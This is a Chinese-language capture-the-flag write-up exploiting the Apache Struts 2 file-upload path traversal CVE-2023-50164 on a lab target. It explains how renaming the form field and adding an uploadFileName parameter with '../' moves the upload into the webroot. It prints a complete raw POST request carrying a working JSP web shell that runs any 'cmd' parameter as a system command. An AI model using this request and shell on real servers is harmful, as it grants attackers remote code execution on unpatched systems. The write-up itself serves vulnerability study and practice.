靶机介绍:
攻击者可以操纵文件上传参数以启用路径遍历,在某些情况下,这可能导致上传恶意文件,从而执行远程代码。建议用户升级到Struts 2.5.33或Struts 6.3.0.2或更高版本以解决这个问题。
利用过程:
访问靶机就是一个文件上传
直接选择一个jsp 木马上传
木马上传成功,根据给出的路径一个一个访问,都提示404
根据CVE-2023-50164 的提示,使用burpsuite 抓包
需要将upload 改成Upload, 同时需要在请求路径上修改POST请求头后面的路径在/upload.action后面补充上?uploadFileName=../shell.jsp
?uploadFileName=../shell.jsp 中 uploadFileName 为请求头参数Content-Disposition: form-data; name="upload"; filename="1.jsp"中 name的值和filename参数的拼接 uploadFileName等于 upload 和filename的file 首字母大写name首字母大写,../shell.jsp是为了跳过forbidden的限制。
因此修改后数据包如下:
POST /upload.action?uploadFileName=../shell.jsp HTTP/1.1
Host: eci-2ze1d1nv4k3rw5hlt27s.cloudeci1.ichunqiu.com:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------19131293793059590683947910879
Content-Length: 558
Origin: http://eci-2ze1d1nv4k3rw5hlt27s.cloudeci1.ichunqiu.com:8080
Connection: close
Referer: http://eci-2ze1d1nv4k3rw5hlt27s.cloudeci1.ichunqiu.com:8080/upload.action
Cookie: JSESSIONID=1C569B20561987382855E1B84E233B2B
Upgrade-Insecure-Requests: 1
Priority: u=0, i
-----------------------------19131293793059590683947910879
Content-Disposition: form-data; name="Upload"; filename="1.jsp"
Content-Type: application/octet-stream
<%@ page import="java.io.*"%>
<%
out.print("Hello</br>");
String strcmd=request.getParameter("cmd");
String line=null;
Process p=Runtime.getRuntime().exec(strcmd);
BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));
while((line=br.readLine())!=null){
out.print(line+"</br>");
}
%>
-----------------------------19131293793059590683947910879--
所以木马的位置/usr/local/tomcat/uploads/../shell.jsp 就变成了/usr/local/tomcat/shell.jsp,完成了路径穿越,接下来拿flag 也很轻松了,只需要找出网站的根目录即可,最终找到网站根目录如下:
/usr/local/tomcat/webapps/ROOT/
因此,上传木马最后的数据包如下:
访问一句话木马
拿到flag